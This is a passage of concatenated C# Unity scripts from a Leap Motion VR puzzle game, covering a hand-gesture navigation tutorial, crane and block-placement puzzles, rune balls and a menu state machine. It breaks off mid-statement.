rendererUp = topLight.GetComponent<Renderer>(); rendererDown = bottomLight.GetComponent<Renderer>(); toggleLight(0, 0); toggleLight(1, 0); StartCoroutine("DelayedStart"); } IEnumerator DelayedStart() { player.Prepare(); yield return new WaitForSeconds(1); topText.text = "This is the vertical navigation tutorial"; yield return new WaitForSeconds(6); topText.text = ""; yield return new WaitForSeconds(0.2f); topText.text = "Here you will learn how to look up and down using your hands"; yield return new WaitForSeconds(6); topText.text = ""; yield return new WaitForSeconds(0.2f); topText.text = "Examine the demonstration below to see how this is done"; yield return new WaitForSeconds(2); videoPlane.SetActive(true); player.Play(); yield return new WaitForSeconds(6); topText.text = ""; yield return new WaitForSeconds(0.2f); topText.text = "To look down you point both of your hands down so that your palms are facing you"; yield return new WaitForSeconds(6); topText.text = ""; yield return new WaitForSeconds(0.2f); topText.text = "And to look up you hold your hands up so that your palms are facing away from you"; yield return new WaitForSeconds(6); topText.text = ""; yield return new WaitForSeconds(0.2f); topText.text = "You will see directional indicators on the edges of your screen to indicate which directions you can look in"; yield return new WaitForSeconds(5); upIndicator.SetActive(true); downIndicator.SetActive(true); yield return new WaitForSeconds(0.4f); upIndicator.SetActive(false); downIndicator.SetActive(false); yield return new WaitForSeconds(0.4f); upIndicator.SetActive(true); downIndicator.SetActive(true); yield return new WaitForSeconds(0.4f); upIndicator.SetActive(false); downIndicator.SetActive(false); yield return new WaitForSeconds(0.4f); upIndicator.SetActive(true); downIndicator.SetActive(true); yield return new WaitForSeconds(0.4f); upIndicator.SetActive(false); downIndicator.SetActive(false); yield return new WaitForSeconds(0.5f); topText.text = ""; yield return new WaitForSeconds(0.2f); topText.text = "It's now your turn"; yield return new WaitForSeconds(3); topText.text = ""; yield return new WaitForSeconds(0.2f); topText.text = "Start by looking down"; downIndicator.SetActive(true); leapMotion.SetActive(true); handModels.SetActive(true); navigation.activate(); yield return null; } void Update () { if(navigation.active){ if(navigation.isFacingUp()){ downIndicator.SetActive(true); upIndicator.SetActive(false); } else { downIndicator.SetActive(false); upIndicator.SetActive(true); } if(facingUp != navigation.isFacingUp()){ // If change in looking direction if(navigation.isFacingUp()){ //Looking up facingUp = true; switch(state){ case 1: state = 2; break; case 3: state = 4; break; case 5: break; } } else { // Looking down facingUp = false; switch(state){ case 0: state = 1; break; case 2: state = 3; break; case 4: state = 5; break; case 5: break; } } StartCoroutine(triggerProgress()); } } } IEnumerator triggerProgress(){ yield return new WaitForSeconds(.4f); switch(state){ case 0: //Do nothing break; case 1: //downIndicator.SetActive(false); toggleLight(1, 1); topText.text = ""; bottomText.text = "Now look up"; //upIndicator.SetActive(true); break; case 2: //upIndicator.SetActive(false); toggleLight(0, 1); topText.text = "Great! Now look down again..."; //downIndicator.SetActive(true); break; case 3: //downIndicator.SetActive(false); toggleLight(1, 2); bottomText.text = "... and look up"; //upIndicator.SetActive(true); break; case 4: //downIndicator.SetActive(true); //upIndicator.SetActive(false); toggleLight(0, 2); topText.text = "Remember the LEAP Motion is not perfect, so it might take multiple tries to look in a different direction"; bottomText.text = "Remember the LEAP Motion is not perfect, so it might take multiple tries to look in a different direction"; yield return new WaitForSeconds(8f); topText.text = ""; bottomText.text = ""; yield return new WaitForSeconds(.2f); topText.text = "While the next tutorial room is being prepared, feel free to practice looking up and down a few more times"; bottomText.text = "While the next tutorial room is being prepared, feel free to practice looking up and down a few more times"; yield return new WaitForSeconds(12f); topText.text = "3"; bottomText.text = "3"; yield return new WaitForSeconds(1f); topText.text = ""; bottomText.text = ""; yield return new WaitForSeconds(.1f); topText.text = "2"; bottomText.text = "2"; yield return new WaitForSeconds(1f); topText.text = ""; bottomText.text = ""; yield return new WaitForSeconds(.1f); topText.text = "1"; bottomText.text = "1"; yield return new WaitForSeconds(1f); topText.text = ""; bottomText.text = ""; yield return new WaitForSeconds(.1f); topText.text = "Loading..."; bottomText.text = "Loading..."; loadLevel(); break; case 5: //Do nothing break; } yield return null; } private void toggleLight(int index, int stage){ if(index == 0){ rendererUp.material = materials[stage]; } else { rendererDown.material = materials[stage]; } } private void loadLevel(){ SceneManager.LoadScene(3); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class LSolution : MonoBehaviour { public int level = 1; // 1 - Level 1-1, 2 - Level 3-1 public bool checkBall(RuneBall ball, int id){ switch(level){ case 1: switch(id){ case 1: return(ball.getNumber() == 2 && ball.getColour() == 4); case 2: return(ball.getNumber() == 4 && ball.getColour() == 2); case 3: return(ball.getNumber() == 1 && ball.getColour() == 1); case 4: return(ball.getNumber() == 3 && ball.getColour() == 3); default: return false; } case 2: Debug.LogError("Level 3-1 not completed!"); return false; default: Debug.LogError("Level not set: 1 - Level 1-1, 2 - Level 3-1"); return false; } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class MathBallHolder : AbstractHolder { public bool left = true; public MathSolution solution; private int value = 0; public int getValue(){ return value; } override protected void updateValue(){ if(containsBall && ball != null){ value = solution.determineValue(ball.getColour(), left); solution.notifyPuzzles(); } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class BallHolder : Holder { public int id = 0; public LSolution solution; public GameObject successHighlight; override protected void setRuneBall(RuneBall ball){ this.ball = ball; containsBall = true; checkBall(); } private void checkBall(){ if(containsBall && ball != null){ if(solution.checkBall(ball, id)){ locked = true; successHighlight.SetActive(true); StartCoroutine(lookUpAndFill(id)); } } } IEnumerator lookUpAndFill(int n){ navigation.moveCameraUpandLock(); yield return new WaitForSeconds(0.5f); controller.activate(n); yield return null; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap.Unity.Interaction; public class ObjectDescriptor : MonoBehaviour { public int colour, sides; private bool grasped; private InteractionBehaviour interactionScript; private Vector3 spawnPosition; private Quaternion spawnRotation; private Rigidbody rb; private void Awake(){ this.grasped = false; } // Use this for initialization void Start () { rb = GetComponent<Rigidbody>(); interactionScript = GetComponent<InteractionBehaviour>(); this.spawnPosition = transform.position; this.spawnRotation = transform.rotation; spawnPosition.y += 0.1f; } // Update is called once per frame void Update () { if(!grasped && interactionScript.isGrasped){ grasped = true; } if(grasped && !interactionScript.isGrasped){ grasped = false; } } public int getColour(){ return this.colour; } public int getSides(){ return this.sides; } public bool isGrasped(){ return this.grasped; } public void respawn(){ transform.position = spawnPosition; transform.rotation = spawnRotation; rb.velocity = Vector3.zero; } public void stopMovement(){ rb.velocity = Vector3.zero; } public void stopContact(){ stopMovement(); interactionScript.ignoreContact = true; } public void freeze(){ stopContact(); interactionScript.ignoreGrasping = true; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; public class Level3BController : AbstractRController { public PowerPuzzle puzzle; public PuzzleController puzzleController; override protected bool checkSolution(){ //HARD SOLUTION: // Platform: 0 1 2 3 4 5 6 7 8 9 10 11 12 // Type: P P B - R B G Y R B Y R P // Platform: 13 14 15 16 17 18 19 20 21 22 23 24 // Type: Y Y G W - B P R B G G R int correct = 0; for(int i = 0; i < platforms.Length; i++){ if(i == 2 || i == 5 || i == 9 || i == 18 || i == 21){ if(platforms[i].blockType() == 0) correct++; } else if(i == 4 || i == 8 || i == 11 || i == 20 || i == 24){ if(platforms[i].blockType() == 1) correct++; } else if(i == 6 || i == 15 || i == 22 || i == 23){ if(platforms[i].blockType() == 2) correct++; } else if(i == 7 || i == 10 || i == 13 || i == 14){ if(platforms[i].blockType() == 3) correct++; } else if(i == 0 || i == 1 || i == 12 || i == 19){ if(platforms[i].blockType() == 4) correct++; } else if(i == 16){ if(platforms[i].blockType() == 5) correct++; } } return correct == 23; // 25 platforms - 2 empty platforms } override protected void initialiseBlocks(){ if(platforms.Length == 25){ // 5 blue, 5 red, 4 green, 4 yellow, 4 purple, 1 white List<int> platformIndices = new List<int>(new int[] {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24}); for(int i = 0; i < 23; i++){ int type = 0; if(i >= 5) type = 1; if(i >= 10) type = 2; if(i >= 14) type = 3; if(i >= 18) type = 4; if(i >= 22) type = 5; int indexTemp = Random.Range(0, platformIndices.Count); int index = platformIndices[indexTemp]; spawnBlock(index, type); platformIndices.RemoveAt(indexTemp); } } } override protected void checkLevelSpecificCriteria(){ if(puzzle.isCompleted()){ activate(); puzzleController.activate(); } } override protected void loadNextLevel(){ GameController.State = GameController.END; SceneManager.LoadScene(1); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class Block : MonoBehaviour { private int type; // 0 = blue, 1 = red, 2 = green, 3 = yellow, 4 = purple, 5 = white private Renderer renderer; public void initialise(int type){ this.type = type; renderer = GetComponent<Renderer>(); setColour(); } private void setColour(){ switch(type){ case 0: renderer.material.color = Color.blue; break; case 1: renderer.material.color = Color.red; break; case 2: renderer.material.color = Color.green; break; case 3: renderer.material.color = Color.yellow; break; case 4: renderer.material.color = Color.magenta; break; case 5: renderer.material.color = Color.white; break; } } public int getType(){ return type; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class PickupController : MonoBehaviour { private bool leftExtended, rightExtended, leftClosed, rightClosed; private float timer = 0; private float delay = 1.0f; private bool extended = false; private bool pickup = false; public ArmController arm; private float maxHeight; private float minHeight; private bool inProgress = false; private int movementState = 0; // 0 - nothing, 1 - moving down, 2 - moving up private int state = 0; // 0 - nothing, 1 - dropping, 2 - picking up private float speed = 0.02f; public AbstractRController controller; // Use this for initialization void Start () { maxHeight = arm.transform.position.y; minHeight = 1.25f; //default value if(arm.numberOfPlatforms() == 9) minHeight = 1.25f; if(arm.numberOfPlatforms() == 16) minHeight = 1.05f; if(arm.numberOfPlatforms() == 25) minHeight = 0.25f; } // Update is called once per frame void Update () { if(controller.isActivated()){ if(!pickup && extended){ if(Time.time > timer + delay){ if(!leftExtended || !rightExtended) extended = false; } } if(pickup){ PlatformController pc = arm.nearestPlatformGO().GetComponent<PlatformController>(); if(!inProgress){ bool blockArm = arm.hasBlock(); bool blockPlatform = pc.hasBlock(); if(blockArm && !blockPlatform){ state = 1; //dropping } else if(!blockArm && blockPlatform){ state = 2; //picking up } movementState = 1; inProgress = true; } else { Vector3 current = arm.transform.position; //move down to minHeight if(movementState == 1){ if(current.y <= minHeight){ current.y = minHeight; //follow state (nothing, dropping or picking?) if(state == 1){ pc.setBlock(arm.getBlock()); arm.removeBlock(); } else if(state == 2){ arm.setBlock(pc.getBlock()); pc.removeBlock(); } movementState = 2; } else { current.y = current.y - speed; if(arm.hasBlock()){ Vector3 blockPosition = arm.getBlock().transform.position; blockPosition.y = blockPosition.y - speed; arm.getBlock().transform.position = blockPosition; } } } else if(movementState == 2){ //move up to maxHeight if(current.y >= maxHeight){ current.y = maxHeight; //reset everything here movementState = 0; state = 0; inProgress = false; pickup = false; } else { current.y = current.y + speed; if(arm.hasBlock()){ Vector3 blockPosition = arm.getBlock().transform.position; blockPosition.y = blockPosition.y + speed; arm.getBlock().transform.position = blockPosition; } } } arm.transform.position = current; } } } else { leftExtended = false; rightExtended = false; leftClosed = false; rightClosed = false; extended = false; pickup = false; } } public void extendLeft(bool b){ leftExtended = b; if(!extended && !pickup){ if(b && rightExtended){ extended = true; timer = Time.time; } } } public void extendRight(bool b){ rightExtended = b; if(!extended && !pickup){ if(b && leftExtended){ extended = true; timer = Time.time; } } } public void closeLeft(bool b){ leftClosed = b; if(extended && !pickup){ if(b && rightClosed){ pickup = true; timer = Time.time; } } } public void closeRight(bool b){ rightClosed = b; if(extended && !pickup){ if(b && leftClosed){ pickup = true; timer = Time.time; } } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap; using Leap.Unity.Interaction; public class CraneController : MonoBehaviour { private float limit = 0.004f; private float centerLimit = 0.004f; private Vector3 center; private bool grasped; private InteractionBehaviour interactionScript; public Transform topHard, topSoft, botHard, botSoft, leftHard, leftSoft, rightHard, rightSoft; public ArmController arm; private Color onColor = Color.green; public Renderer lightRenderer; private float lastX; private float lastY; private int state = 0; // 0 - at center, 1 - moving vertically, 2 - moving horizontally private int lastState = 0; private float stateTimer = 0.0f; private float stateDelay = 0.1f; // Use this for initialization void Start () { grasped = false; center = transform.position; interactionScript = GetComponent<InteractionBehaviour>(); lastX = center.x; lastY = center.y; } // Update is called once per frame void Update () { if(transform.position.z != center.z){ Vector3 tempPosition = transform.position; tempPosition.z = center.z; transform.position = tempPosition; } updateGrasped(); Vector3 newPosition = transform.position; float centerDiffX = Mathf.Abs(newPosition.x - center.x); float centerDiffY = Mathf.Abs(newPosition.y - center.y); if(centerDiffX > centerDiffY && centerDiffY < centerLimit && state == 1){ state = 0; } else if(centerDiffY > centerDiffX && centerDiffX < centerLimit && state == 2){ state = 0; } if((centerDiffX < centerLimit && centerDiffY < centerLimit) || (centerDiffX < centerLimit && lastState == 1) || (centerDiffY < centerLimit && lastState == 2)){ state = 0; } Debug.Log("State: " + state + " - " + centerDiffX + " - " + centerDiffY); if(state == 0){ if(Time.time > stateTimer + stateDelay){ if(centerDiffX > centerLimit || centerDiffY > centerLimit){ //if(centerDiffX > centerDiffY){ float lastDiffX = Mathf.Abs(newPosition.x - lastX); float lastDiffY = Mathf.Abs(newPosition.y - lastY); if(lastDiffX > lastDiffY){ state = 2; } else { state = 1; } } } else if(centerDiffX > centerLimit && lastState==2){ state = 2; } else if(centerDiffY > centerLimit && lastState==1){ state = 1; } else { newPosition = center; } } if(grasped){ if(state == 1){ lastState = 1; stateTimer = Time.time; Vector3 tempPosition = transform.position; tempPosition.x = center.x; newPosition = tempPosition; lastX = newPosition.x; } else if(state == 2){ lastState = 2; stateTimer = Time.time; Vector3 tempPosition = transform.position; tempPosition.y = center.y; newPosition = tempPosition; lastY = newPosition.y; } } else { newPosition = Vector3.Lerp(transform.position, center, 5 * Time.deltaTime); } float newX = newPosition.x; float newY = newPosition.y; float speed = 0.002f; if(newX - lastX > speed) newX = lastX + speed; if(newX - lastX < -speed) newX = lastX - speed; if(newY - lastY > speed) newY = lastY + speed; if(newY - lastY < -speed) newY = lastY - speed; newPosition.x = newX; newPosition.y = newY; transform.position = newPosition; lastX = transform.position.x; lastY = transform.position.y; checkHardLimits(); checkSoftLimits(); } private void updateGrasped(){ if(!grasped && interactionScript.isGrasped){ grasped = true; } if(grasped && !interactionScript.isGrasped){ grasped = false; } } private void checkHardLimits(){ float x = transform.position.x; float y = transform.position.y; if(x > leftHard.position.x) transform.position = leftHard.position; if(x < rightHard.position.x) transform.position = rightHard.position; if(y > topHard.position.y) transform.position = topHard.position; if(y < botHard.position.y) transform.position = botHard.position; } private void checkSoftLimits(){ float x = transform.position.x; float y = transform.position.y; if(x > leftSoft.position.x){ arm.moveLeft(); } else if(x < rightSoft.position.x){ arm.moveRight(); } else if(y > topSoft.position.y){ arm.moveUp(); } else if(y < botSoft.position.y){ arm.moveDown(); } else { arm.stop(); } } public void activate(){ lightRenderer.material.color = onColor; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class FreezeLocalAxes : MonoBehaviour { private Rigidbody rigidbody; public bool freezeAlongX = false; public bool freezeAlongY = false; public bool freezeAlongZ = false; // Use this for initialization void Start () { rigidbody = GetComponent<Rigidbody>(); } // Update is called once per frame void Update () { Vector3 localVelocity = transform.InverseTransformDirection(rigidbody.velocity); if(freezeAlongX) localVelocity.x = 0; if(freezeAlongY) localVelocity.y = 0; if(freezeAlongZ) localVelocity.z = 0; rigidbody.velocity = transform.TransformDirection(localVelocity); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class SimpleCustomiser : AbstractHolder { public void onButtonPressed(){ if(containsBall && ball != null){ ball.changeColour(); } } override protected void updateValue(){ //do nothing } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class ObjectCollisionDetector : MonoBehaviour { private ObjectHolder holder; void Start(){ holder = transform.parent.GetComponent<ObjectHolder>(); } private void OnTriggerEnter(Collider other) { holder.ChildTriggerEnter(other); } private void OnTriggerStay(Collider other) { holder.ChildTriggerStay(other); } private void OnTriggerExit(Collider other) { holder.ChildTriggerExit(other); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class ArmController : MonoBehaviour { public GameObject[] platforms; public Transform furthestPlatform, closestPlatform, leftMostPlatform, rightMostPlatform; private float minZ, maxZ, minX, maxX; private GameObject nearestPlatform; private Vector3 nearestPosition; private float speed = 0.03f; private int movement = 0; // 0 = stationary, 1 = move up, 2 = move down, 3 = move left, 4 = move right private bool active; private Block block; private bool containsBlock; private bool pickingDropping; // Use this for initialization void Start () { containsBlock = false; active = false; pickingDropping = false; minZ = furthestPlatform.position.z; maxZ = closestPlatform.position.z; minX = rightMostPlatform.position.x; maxX = leftMostPlatform.position.x; findNearestPlatform(); } // Update is called once per frame void Update () { if(active){ Vector3 current = transform.position; findNearestPlatform(); if(movement == 0){ transform.position = Vector3.Lerp(current, nearestPosition, 5 * Time.deltaTime); } else { if(movement == 1){ if(current.z > minZ){ current.z = current.z - speed; } } else if(movement == 2){ if(current.z < maxZ){ current.z = current.z + speed; } } else if(movement == 3){ if(current.x < maxX){ current.x = current.x + speed; } } else if(movement == 4){ if(current.x > minX){ current.x = current.x - speed; } } transform.position = current; } if(containsBlock && block != null){ updateBlockPosition(); } } } private void updateBlockPosition(){ if(!pickingDropping){ Vector3 armPosition = transform.position; Vector3 blockPosition = block.transform.position; blockPosition.x = armPosition.x; blockPosition.z = armPosition.z; block.transform.position = blockPosition; } } private void updateHighlightedPlatform(){ foreach(GameObject p in platforms){ PlatformController pc = p.GetComponent<PlatformController>(); if(p.Equals(nearestPlatform)){ pc.setHighlight(true); } else { pc.setHighlight(false); } } } private void findNearestPlatform(){ Vector3 target = transform.position; GameObject highlightedPlatform = platforms[0]; Vector3 closestPlatform = platforms[0].transform.position; float smallestDistance = 9999999999; foreach(GameObject p in platforms){ Vector3 current = p.transform.position; float xDiff = target.x - current.x; float zDiff = target.z - current.z; float dist = Mathf.Sqrt(xDiff*xDiff + zDiff*zDiff); if(dist < smallestDistance){ smallestDistance = dist; closestPlatform = current; highlightedPlatform = p; } } target.x = closestPlatform.x; target.z = closestPlatform.z; nearestPosition = target; nearestPlatform = highlightedPlatform; updateHighlightedPlatform(); } public void moveUp(){ movement = 1; } public void moveDown(){ movement = 2; } public void moveLeft(){ movement = 3; } public void moveRight(){ movement = 4; } public void stop(){ movement = 0; } public void activate(){ active = true; } public bool hasBlock(){ return containsBlock; } public void setBlock(Block block){ this.block = block; containsBlock = true; } public void removeBlock(){ containsBlock = false; block = null; } public Block getBlock(){ return block; } public GameObject nearestPlatformGO(){ return nearestPlatform; } public int numberOfPlatforms(){ return platforms.Length; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; using TMPro; public class MenuController : AbstractController { public GameObject leftSliderObj, rightSliderObj, scoreSliderObj, optionsSliderObj, exitSliderObj; private Slider leftSlider, rightSlider, scoreSlider, optionsSlider, exitSlider; public GameObject leftText, leftLock, leftTick, rightText, rightLock, rightTick; public GameObject leftLight, rightLight; public GameObject handModels, leapMotion, middleDoor, centerMenu, targetPosition; public bool debug = true; public int startState = 0; private bool animateDoor = false; private Quaternion targetRotation; public Image door; private static float doorFillDuration = 5.0f; private float doorTimer = 0.0f; private bool fillingDoor = false; public TextMeshProUGUI text; override protected void initialiseSlidersAndDicts(){ dict = new Dictionary<string, Slider>(); dict2 = new Dictionary<Slider, GameObject>(); leftSlider = leftSliderObj.GetComponent<Slider>(); rightSlider = rightSliderObj.GetComponent<Slider>(); scoreSlider = scoreSliderObj.GetComponent<Slider>(); optionsSlider = optionsSliderObj.GetComponent<Slider>(); exitSlider = exitSliderObj.GetComponent<Slider>(); dict.Add("leftSlider", leftSlider); dict.Add("rightSlider", rightSlider); dict.Add("scoreSlider", scoreSlider); dict.Add("optionsSlider", optionsSlider); dict.Add("exitSlider", exitSlider); dict2.Add(leftSlider, leftSliderObj); dict2.Add(rightSlider, rightSliderObj); dict2.Add(scoreSlider, scoreSliderObj); dict2.Add(optionsSlider, optionsSliderObj); dict2.Add(exitSlider, exitSliderObj); if(debug) GameController.State = startState; // State machine to handle progression if(GameController.State == GameController.START){ leftText.SetActive(false); leftLock.SetActive(true); leftTick.SetActive(false); rightText.SetActive(false); rightLock.SetActive(true); rightTick.SetActive(false); } else if (GameController.State == GameController.AFTER_TUTORIAL){ leftText.SetActive(true); leftLock.SetActive(false); leftTick.SetActive(false); rightText.SetActive(false); rightLock.SetActive(true); rightTick.SetActive(false); } else if (GameController.State == GameController.LEFT_FINISHED){ leftText.SetActive(false); leftLock.SetActive(false); leftTick.SetActive(true); rightText.SetActive(true); rightLock.SetActive(false); rightTick.SetActive(false); leftLight.GetComponent<Renderer>().material.color = Color.green; } else if (GameController.State == GameController.RIGHT_FINISHED){ leftText.SetActive(false); leftLock.SetActive(false); leftTick.SetActive(true); rightText.SetActive(false); rightLock.SetActive(false); rightTick.SetActive(true); rightLight.GetComponent<Renderer>().material.color = Color.green; leftLight.GetComponent<Renderer>().material.color = Color.green; targetRotation = middleDoor.transform.rotation * Quaternion.Euler(0, 0, 180); StartCoroutine("UnlockMiddleDoor"); } else if (GameController.State == GameController.END){ leftText.SetActive(false); leftLock.SetActive(false); leftTick.SetActive(true); rightText.SetActive(false); rightLock.SetActive(false); rightTick.SetActive(true); leftLight.GetComponent<Renderer>().material.color = Color.green; rightLight.GetComponent<Renderer>().material.color = Color.green; text.text = "You have beaten \n THE COMPLEX"; } } IEnumerator UnlockMiddleDoor() { handModels.SetActive(false); leapMotion.SetActive(false); centerMenu.SetActive(false); yield return new WaitForSeconds(1); animateDoor = true; yield return new WaitForSeconds(10); doorTimer = Time.time; fillingDoor = true; yield return null; } override protected void updateSliders(){ if(hovering){ if(dict[activeSlider].value < 1.0f){ float elapsed = Time.time - timer; dict[activeSlider].value = elapsed / hoverDuration; } else { if(activeSlider.Equals("scoreSlider")){ SceneManager.LoadScene(2); } if(activeSlider.Equals("leftSlider")){ SceneManager.LoadScene(4); } if(activeSlider.Equals("rightSlider")){ SceneManager.LoadScene(6); } } } else { foreach(Slider slider in dict.Values){ slider.value = 0.0f; deactivateSliders(); } } if(animateDoor){ middleDoor.transform.position = Vector3.Lerp(middleDoor.transform.position, targetPosition.transform.position, 1.0f * Time.deltaTime); middleDoor.transform.rotation = Quaternion.Lerp(middleDoor.transform.rotation, targetRotation, .5f * Time.deltaTime); } if(fillingDoor){ float elapsed = Time.time - doorTimer; if(door.fillAmount < 1.0f){ door.fillAmount = elapsed / doorFillDuration; } if(door.fillAmount >= 1.0f){ SceneManager.LoadScene(8); } } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class OldCraneController : MonoBehaviour { public ArmController arm; public CraneController crane; public PowerPuzzle puzzle; public PlatformController[] platforms; private bool activated = false; public GameObject block; private bool blocksSolved; // Use this for initialization void Start () { blocksSolved = false; initialiseBlocks(); } // Update is called once per frame void Update () { if(!activated){ if(puzzle.isCompleted()){ activate(); activated = true; } } else if(!blocksSolved) { blocksSolved = checkSolution(); } if(blocksSolved){ Debug.Log("SOLVED!"); } } private bool checkSolution(){ if(platforms.Length == 9){ //EASY SOLUTION: // Platform: 0 1 2 3 4 5 6 7 8 // Type: B R B R - R B R B int correct = 0; for(int i = 0; i < platforms.Length; i++){ if(i == 0 || i == 2 || i == 6 || i == 8){ if(platforms[i].blockType() == 0) correct++; } else if(i == 1 || i == 3 || i == 5 || i == 7){ if(platforms[i].blockType() == 1) correct++; } } return correct == 8; } else if(platforms.Length == 16) { //MEDIUM SOLUTION: // Platform: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // Type: G Y Y B G G B G Y B R R B - R R int correct = 0; for(int i = 0; i < platforms.Length; i++){ if(i == 0 || i == 4 || i == 5 || i == 7){ if(platforms[i].blockType() == 2) correct++; } else if(i == 1 || i == 2 || i == 8){ if(platforms[i].blockType() == 3) correct++; } else if(i == 3 || i == 6 || i == 9 || i == 12){ if(platforms[i].blockType() == 0) correct++; } else if(i == 10 || i == 11 || i == 14 || i == 15){ if(platforms[i].blockType() == 1) correct++; } } return correct == 15; } else if(platforms.Length == 25) { //HARD SOLUTION: // Platform: 0 1 2 3 4 5 6 7 8 9 10 11 12 // Type: Y - G G Y B Y R P B G R P // Platform: 13 14 15 16 17 18 19 20 21 22 23 24 // Type: R B B G R G - R Y B Y P int correct = 0; for(int i = 0; i < platforms.Length; i++){ if(i == 0 || i == 4 || i == 6 || i == 21 || i == 23){ if(platforms[i].blockType() == 3) correct++; } else if(i == 8 || i == 12 || i == 24){ if(platforms[i].blockType() == 4) correct++; } else if(i == 2 || i == 3 || i == 10 || i == 16 || i == 18){ if(platforms[i].blockType() == 2) correct++; } else if(i == 5 || i == 9 || i == 14 || i == 15 || i == 22){ if(platforms[i].blockType() == 0) correct++; } else if(i == 7 || i == 11 || i == 13 || i == 17 || i == 20){ if(platforms[i].blockType() == 1) correct++; } } return correct == 24; } else { return false; } } private void initialiseBlocks(){ if(platforms.Length == 9){ // 4 blue, 4 red List<int> platformIndices = new List<int>(new int[] {0,1,2,3,4,5,6,7,8}); for(int i = 0; i < 8; i++){ int type = 0; if(i >= 4) type = 1; int indexTemp = Random.Range(0, platformIndices.Count); int index = platformIndices[indexTemp]; spawnBlock(index, type); platformIndices.RemoveAt(indexTemp); } } else if(platforms.Length == 16){ // 4 blue, 4 red, 4 green, 3 yellow List<int> platformIndices = new List<int>(new int[] {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15}); for(int i = 0; i < 15; i++){ int type = 0; if(i >= 4) type = 1; if(i >= 8) type = 2; if(i >= 12) type = 3; int indexTemp = Random.Range(0, platformIndices.Count); int index = platformIndices[indexTemp]; spawnBlock(index, type); platformIndices.RemoveAt(indexTemp); } } else if(platforms.Length == 25){ // 5 blue, 5 red, 5 green, 5 yellow, 3 purple List<int> platformIndices = new List<int>(new int[] {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24}); for(int i = 0; i < 23; i++){ int type = 0; if(i >= 5) type = 1; if(i >= 10) type = 2; if(i >= 15) type = 3; if(i >= 20) type = 4; int indexTemp = Random.Range(0, platformIndices.Count); int index = platformIndices[indexTemp]; spawnBlock(index, type); platformIndices.RemoveAt(indexTemp); } } } private void activate(){ arm.activate(); crane.activate(); } private void spawnBlock(int index, int type){ GameObject new_block = Instantiate(block, platforms[index].blockPosition.position, platforms[index].blockPosition.rotation); Block blockScript = new_block.GetComponent<Block>(); blockScript.initialise(type); platforms[index].setBlock(blockScript); } public bool isActivated(){ return activated; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class CollisionDetectorMath : MonoBehaviour { private AbstractHolder holder; void Start(){ holder = transform.parent.GetComponent<AbstractHolder>(); } private void OnTriggerEnter(Collider other) { holder.ChildTriggerEnter(other); } private void OnTriggerStay(Collider other) { holder.ChildTriggerStay(other); } private void OnTriggerExit(Collider other) { holder.ChildTriggerExit(other); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap.Unity.Interaction; public class RuneBall : MonoBehaviour { private int number; // 1, 2, 3, 4 private int colour; // 1 = Green, 2 = Orange, 3 = Purple, 4 = Blue private bool grasped ; public Material[] materials; // 0 - Grey, 1-4 Green, 5-8 Orange, 9-12 Purple, 13-16 Blue private Renderer renderer; private InteractionBehaviour interactionScript; private Vector3 spawnPosition; private Quaternion spawnRotation; private Rigidbody rb; private void Awake() { this.number = 1; this.colour = 0; this.grasped = false; } private void Start(){ renderer = GetComponent<Renderer>(); interactionScript = GetComponent<InteractionBehaviour>(); rb = GetComponent<Rigidbody>(); this.spawnPosition = transform.position; this.spawnRotation = transform.rotation; spawnPosition.y += 0.1f; } private void Update() { if(!grasped && interactionScript.isGrasped){ grasped = true; } if(grasped && !interactionScript.isGrasped){ grasped = false; } } public void changeColour(){ if(this.colour == 4){ this.colour = 1; } else{ this.colour++; } changeTexture(); } public void changeNumber(){ if(this.colour != 0){ if(this.number == 4){ this.number = 1; } else{ this.number++; } changeTexture(); } } public int getNumber(){ return this.number; } public int getColour(){ return this.colour; } public bool isGrasped(){ return this.grasped; } private void changeTexture(){ if(materials.Length == 5){ this.renderer.material = materials[colour]; } else if(materials.Length == 17){ int index = ((colour-1) * 4) + number; this.renderer.material = materials[index]; } else { Debug.LogError("Incorrect number of materials"); } } public void respawn(){ transform.position = spawnPosition; transform.rotation = spawnRotation; rb.velocity = Vector3.zero; } public void stopMovement(){ rb.velocity = Vector3.zero; } public void stopContact(){ stopMovement(); interactionScript.ignoreContact = true; } public void freeze(){ stopContact(); interactionScript.ignoreGrasping = true; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap; using Leap.Unity; public class UpDownNavigation : MonoBehaviour { public LeapProvider LeapDataProvider; public GameObject leapRig; private float timer = 0.0f; private float duration = 0.2f; private float lockDuration = 5.0f; private int timerState = 0; // 0 - not active, 1 - timing upwards movement, 2 - timing downwards movement private int cameraState = 0; // 0 - not moving, 1 - moving upwards, 2 - moving downwards, 3 - locked, 4 - permanent lock private Quaternion targetRotation; private Vector3 targetPosition; private bool leftPalmDown = false; private bool rightPalmDown = false; private bool leftPalmUp = false; private bool rightPalmUp = false; public bool facingUp = true; private bool lockPending = false; private Frame curFrame; public bool active = true; public bool usePoints = false; public GameObject pointUp, pointDown; void Start(){ targetRotation = leapRig.transform.rotation; } void Update () { if(active){ curFrame = LeapDataProvider.CurrentFrame; if(cameraState == 0 && curFrame.Hands.Count == 2){ if(leftPalmUp && rightPalmUp){ if(timerState == 0 || timerState == 1){ if(!facingUp){ timer = Time.time; timerState = 1; } } else if(timerState 